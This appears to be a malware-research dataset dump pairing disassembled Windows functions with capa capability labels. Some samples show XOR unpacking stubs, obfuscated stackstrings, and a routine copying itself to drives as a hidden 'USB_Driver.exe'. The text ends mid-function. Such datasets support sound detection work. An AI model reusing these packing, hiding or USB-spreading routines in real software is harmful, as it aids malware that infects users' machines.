joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419980
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x42b335
push ebx
sub esp, 0x9c
mov eax, dword [0x42b334]
mov dword [ebp - 0x81], eax
mov eax, dword [0x42b399]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.0040bc70
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.0042883c
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x42a138], 0
jne 0x419aa6
mov byte [0x42a138], 1
call fcn.00427930
test eax, eax
je 0x419a74
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.0040ab50
mov dword [esp], 2
mov esi, dword [fcn.00416c90]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x419a64
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x42b71d
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x428fa0
jmp 0x428f98
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x419a2a
mov dword [esp], 2
call dword [0x42a06c]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x428f93
mov dword [esp], 2
call dword [0x42a06c]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x4218f0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x2c
mov eax, dword [ecx + 4]
test eax, eax
je 0x421850
mov edx, dword [ecx]
mov dword [esp], edx
call eax
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebp, dword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea esi, [esp + 0x1c]
nop
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov eax, dword [edi + 8]
mov dword [esp], eax
call sub.msvcrt.dll__read
test eax, eax
jle 0x421890
add esi, eax
sub ebx, eax
jne 0x421860
mov eax, dword [esp + 0x1c]
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 0xffffffff
jne 0x42189c
call ebp
cmp dword [eax], 4
je 0x421860
mov dword [esp], str.random_device_could_not_be_read
call fcn.004289dc
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x421830

Function at 0x4221f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov edx, ecx
lea ebp, [ecx + 0x38c]
push edi
mov edi, ecx
push esi
push ebx
mov esi, dword [ecx]
mov ebx, ecx
lea esi, [esi]
and esi, 0x80000000
add ebx, 4
mov ecx, esi
mov esi, dword [ebx]
mov eax, esi
and eax, 0x7fffffff
or ecx, eax
and eax, 1
neg eax
shr ecx, 1
xor ecx, dword [ebx + 0x630]
and eax, 0x9908b0df
xor eax, ecx
mov dword [ebx - 4], eax
cmp ebp, ebx
jne 0x422208
mov ebx, dword [edi + 0x38c]
lea esi, [edi + 0x630]
lea esi, [esi]
and ebx, 0x80000000
add edx, 4
mov ecx, ebx
mov ebx, dword [edx + 0x38c]
mov eax, ebx
and eax, 0x7fffffff
or eax, ecx
mov ecx, eax
and eax, 1
neg eax
shr ecx, 1
xor ecx, dword [edx - 4]
and eax, 0x9908b0df
xor ecx, eax
mov dword [edx + 0x388], ecx
cmp edx, esi
jne 0x422248
mov edx, dword [edi + 0x9bc]
mov eax, dword [edi]
mov dword [edi + 0x9c0], 0
and eax, 0x7fffffff
and edx, 0x80000000
or edx, eax
and eax, 1
neg eax
shr edx, 1
xor edx, dword [edi + 0x630]
and eax, 0x9908b0df
xor eax, edx
mov dword [edi + 0x9bc], eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x422320
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push edi
mov edi, 1
push esi
mov esi, ecx
push ebx
mov eax, dword [esp + 0x10]
call fcn.00426840
mov dword [ecx], eax
lea esi, [esi]
mov ebx, eax
shr ebx, 0x1e
xor ebx, eax
mov eax, edi
call fcn.00426850
imul ebx, ebx, 0x6c078965
add eax, ebx
call fcn.00426840
mov dword [esi + edi*4], eax
add edi, 1
cmp edi, 0x270
jne 0x4222d8
mov dword [esi + 0x9c0], 0x270
pop ebx
pop esi
pop edi
ret 4
jmp 0x4222c0
Function at 0x401090
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40330c], eax
mov eax, dword [ebp + 4]
mov dword [0x403159], eax
xor eax, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x4010bb
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403159]
mov dword [ebp - 0x48], eax
mov eax, 0x402291
mov dword [ebp - 0x54], eax
mov ecx, 0x403206
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x403159]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403358], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403358]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x401179
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x40116b
mov esp, ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x652c6da7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7e870bf4
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001fcd
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x100bc710
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x100f0618], 1
jge 0x100bc77f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x100bc755
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x100bc755
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x100bc732
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100bc76b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x100bc772
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x100bc86f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x100bc840
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x100bc835
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x100bc829
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x100bc830
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x100bc86f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x100bc86a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100bc853
mov eax, dword [ebx + 8]
jmp 0x100bc86f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x100bc861
xor eax, eax
jmp 0x100bc86f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x100bc79f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x100037bf
Capabilities:
Query environment variable

Disassembly:
jmp 0x100910e0
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100910f4
xor edi, edi
jmp 0x10091138
push ebx
push esi
call fcn.10090fd9
push 0x40
mov ebx, eax
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
sub ebx, esi
and ebx, 0xfffffffe
push 2
push ebx
call fcn.10003d73
mov edi, eax
add esp, 0x14
test edi, edi
je 0x10091125
push ebx
push esi
push edi
call fcn.100038c8
add esp, 0xc
push 2
push 0
call fcn.10004246
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret
Function at 0x1000f3a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x100f4028
call fcn.10003373
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp esi, esp
call fcn.10003440
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
je 0x1000f3ea
cmp dword [ebp - 8], 5
jne 0x1000f3f1
mov eax, 1
jmp 0x1000f3f3
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.10003440
mov esp, ebp
pop ebp
ret

Function at 0x1000f9d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c14b0
mov eax, dword fs:[0]
push eax
sub esp, 0x178
push ebx
push esi
push edi
lea edi, [ebp - 0x184]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x100ef014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x100f4028
call fcn.10003373
push str.WINWORD.EXE
push 0x100f0028
push 0x100f000c
lea eax, [ebp - 0x178]
push eax
call fcn.10002b85
add esp, 0xc
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x184], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x184]
push edx
lea eax, [ebp - 0x30]
push eax
call fcn.100018b1
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.10003e9a
push 0x44
push 0
lea eax, [ebp - 0x7c]
push eax
call fcn.10001ed3
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x7c], 0x44
mov esi, esp
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x7c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x30]
call fcn.10001e83
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp esi, esp
call fcn.10003440
test eax, eax
je 0x1000fb08
mov esi, esp
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.10003440
mov esi, esp
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.10003440
lea ecx, [ebp - 0x30]
call fcn.10003e9a
push edx
mov ecx, ebp
push eax
lea edx, [0x1000fb4c]
call fcn.100035f8
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003012
add esp, 0x184
cmp ebp, esp
call fcn.10003440
mov esp, ebp
pop ebp
ret
Function at 0x100157f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x100f405c
call fcn.10003373
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp esi, esp
call fcn.10003440
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
je 0x1001583a
cmp dword [ebp - 8], 5
jne 0x10015841
mov eax, 1
jmp 0x10015843
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.10003440
mov esp, ebp
pop ebp
ret
Function at 0x10015f20
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c2235
mov eax, dword fs:[0]
push eax
sub esp, 0x158
push ebx
push esi
push edi
lea edi, [ebp - 0x164]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x100ef014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x100f405c
call fcn.10003373
push str.MSBuild.EXE
push 0x100f000c
lea eax, [ebp - 0x30]
push eax
call fcn.100031c5
add esp, 0xc
mov dword [ebp - 4], 0
push str.USB_Driver.exe
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x54]
push ecx
call fcn.100031c5
add esp, 0xc
mov byte [ebp - 4], 1
mov esi, esp
push 0
lea ecx, [ebp - 0x54]
call fcn.10001e83
push eax
lea ecx, [ebp - 0x30]
call fcn.10001e83
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp esi, esp
call fcn.10003440
mov esi, esp
push 4
lea ecx, [ebp - 0x54]
call fcn.10001e83
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp esi, esp
call fcn.10003440
push 0x100c625c
push 0x100f000c
lea eax, [ebp - 0x138]
push eax
call fcn.100031c5
add esp, 0xc
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
push ecx
lea ecx, [ebp - 0x30]
call fcn.100044c6
lea ecx, [ebp - 0x138]
call fcn.10003e9a
push 0x100c625c
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.100031c5
add esp, 0xc
mov dword [ebp - 0x164], eax
mov edx, dword [ebp - 0x164]
push edx
lea ecx, [ebp - 0x54]
call fcn.100044c6
lea ecx, [ebp - 0x15c]
call fcn.10003e9a
mov esi, esp
push 0
lea ecx, [ebp - 0x54]
call fcn.10001e83
push eax
lea ecx, [ebp - 0x30]
call fcn.10001e83
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp esi, esp
call fcn.10003440
mov esi, esp
push 6
lea ecx, [ebp - 0x54]
call fcn.10001e83
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp esi, esp
call fcn.10003440
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x54]
call fcn.10003e9a
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.10003e9a
push edx
mov ecx, ebp
push eax
lea edx, [0x100160e0]
call fcn.100035f8
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003012
add esp, 0x164
cmp ebp, esp
call fcn.10003440
mov esp, ebp
pop ebp
ret
Function at 0x1001add0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push esi
push edi
lea edi, [ebp - 0xe0]
mov ecx, 0x38
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x100ef014]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x100f40f0
call fcn.10003373
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 1
je 0x1001ae19
jmp 0x1001aec1
mov esi, esp
lea eax, [ebp - 0xc]
push eax
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp edi, esp
call fcn.10003440
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp esi, esp
call fcn.10003440
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1001ae51
cmp dword [ebp - 0xc], 1
je 0x1001ae53
cmp dword [ebp - 0xc], 2
je 0x1001ae53
jmp 0x1001aec1
mov esi, esp
push str.restart
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
cmp esi, esp
call fcn.10003440
test eax, eax
jne 0x1001ae81
call fcn.100044d5
jmp 0x1001aeba
mov esi, esp
push str.bypass
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
cmp esi, esp
call fcn.10003440
test eax, eax
jne 0x1001aeaf
call fcn.10001451
jmp 0x1001aeba
cmp dword [ebp - 0xc], 1
jne 0x1001aeba
call fcn.1000290f
push 0
call fcn.1000386e
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x1001aef8]
call fcn.100035f8
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003012
add esp, 0xe0
cmp ebp, esp
call fcn.10003440
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10093554
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
Function at 0x10093780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movzx edx, ax
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
add eax, edi
cmp dword [ebp - 0xc], eax
jae 0x10093752
mov dword [ebp - 0xc], eax
add ecx, 0x28
dec edx
jne 0x10093743
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x9d
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0x25
mov byte [ebp - 0x53], 7
mov byte [ebp - 0x52], 0x16
mov byte [ebp - 0x51], 0x31
mov byte [ebp - 0x50], 0x1b
mov byte [ebp - 0x4f], 0x11
mov byte [ebp - 0x4e], 0x16
push ss
mov byte [ebp - 0x4d], 7
mov byte [ebp - 0x4c], 0xf
mov byte [ebp - 0x4b], 0x2b
mov byte [ebp - 0x4a], 0xc
mov byte [ebp - 0x49], 4
mov byte [ebp - 0x48], 0xd
mov byte [ebp - 0x47], 0x62
call fcn.10093514
push ss
scasd eax, dword es:[edi]
test eax, esi
lea eax, [ebp - 0x58]
push eax
call fcn.10093524
mov edi, dword [ebp + 0xc]
push eax
push edi
push dword [ebp + 8]
call fcn.100934d9
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xc]
div ecx
test edx, edx
je 0x100937ec
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x30]
mov dword [ebp + 0xc], ecx
push eax
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x6a
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], 0xc3
mov byte [ebp - 0x2b], 0xfc
mov byte [ebp - 0x2a], 0xe7
mov byte [ebp - 0x29], 0xe1
mov byte [ebp - 0x28], 0xe0
mov byte [ebp - 0x27], 0xf4
mov byte [ebp - 0x26], 0xf9
mov byte [ebp - 0x25], 0xd4
mov byte [ebp - 0x24], 0xf9
mov byte [ebp - 0x23], 0xf9
mov byte [ebp - 0x22], 0xfa
mov byte [ebp - 0x21], 0xf6
mov byte [ebp - 0x20], 0x95
call fcn.10093524
push eax
push edi
push dword [ebp + 8]
call fcn.100934d9
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0xfb
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x42
mov byte [ebp - 0x10], 0x76
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 4
call fcn.10093524
push eax
push edi
push dword [ebp + 8]
call fcn.100934d9
add esp, 0x20
mov dword [ebp - 0xc], eax
call fcn.10093514
daa
sub eax, 0x458dcbb5
xchg esp, eax
mov byte [ebp - 0x6c], bl
push eax
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xd2
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x7b
mov byte [ebp - 0x67], 0x44
mov byte [ebp - 0x66], 0x5f
mov byte [ebp - 0x65], 0x59
mov byte [ebp - 0x64], 0x58
mov byte [ebp - 0x63], 0x4c
mov byte [ebp - 0x62], 0x41
mov byte [ebp - 0x61], 0x7d
mov byte [ebp - 0x60], 0x5f
mov byte [ebp - 0x5f], 0x42
mov byte [ebp - 0x5e], 0x59
mov byte [ebp - 0x5d], 0x48